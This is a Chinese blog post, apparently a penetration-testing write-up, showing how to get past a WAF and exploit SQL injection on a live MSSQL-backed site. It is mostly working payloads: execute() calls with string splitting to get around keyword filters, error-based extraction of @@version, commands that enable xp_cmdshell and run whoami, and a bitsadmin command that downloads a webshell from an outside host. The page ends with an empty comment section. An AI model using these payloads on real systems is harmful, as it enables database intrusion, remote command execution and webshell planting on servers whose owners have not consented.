MSSQL WAF繞過(2)

0x00 前言


上次的繞過太簡單,也沒有能注出數據或者獲取權限,這次繼續繞過,獲取數據

0x01 過程


還是上次的站點,簡單的判斷,存在注入
MSSQL WAF繞過(2)

發現and 數字、exec、union select、 select 數字。。。被過濾
MSSQL WAF繞過(2)

發現execute函數沒被過濾,狗沒出來說明這個函數能用
MSSQL WAF繞過(2)

execute('sql語句')  //execute函數中可以寫sql語句,且爲字符串,那麼就可以傳入一些變形字符串來繞過waf

本地驗證一下
MSSQL WAF繞過(2)
一些變形
MSSQL WAF繞過(2)

只是本次使用sql server堆疊注入,並不會將數據展示在頁面,所以要讓這一次的堆疊出錯,達到報錯注入的效果

execute('select convert(int,@@version)') --a

MSSQL WAF繞過(2)

當然需要變形一下,不然會被攔截,因爲出現了select

execute('sel'%2b'ect convert(int,@@version)') --a   //在url編碼中 %2b 等價與 + 所以可以理解爲 'sel' + 'ect'

MSSQL WAF繞過(2)

通過execute函數,可進行變形導致waf無法攔截,獲取數據或執行sql語句就變得簡單多了
執行cmdshell,由於cmdshell不能通過報錯回顯,但是可以將結果重定向到文件中或寫入表中

execute('master..xp_cmdshell whoami > e:\'%2b'\xx\'%2b'\1.txt')  // 雙斜槓被過濾

返回報錯並沒有關係,waf沒有攔截,查看1.txt是否有數據
MSSQL WAF繞過(2)

MSSQL WAF繞過(2)

0x02 後續

本來想寫入webshell或通過公網下載webshell,但服務器不能出外網,且有waf,導致寫shell失敗,考慮後想kill掉waf,但還是避免對服務器造成影響。。
MSSQL WAF繞過(2)

0x03 其他

附上其他在這次測試中用到的命令

execute('sp_configure "show advanced options",1')
execute('reconfigure')
execute('sp_configure "xp_cmdshell", 1')
execute('reconfigure')   //上述四步,使xp_cmdshell開啓

execute('master..xp_cmdshell "bitsadmin /transfer n http://xxxxx/1.aspx c:\\路徑\\123.aspx"')  //從公網下載webshell,本文中因機器不能出外網導致下載失敗
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章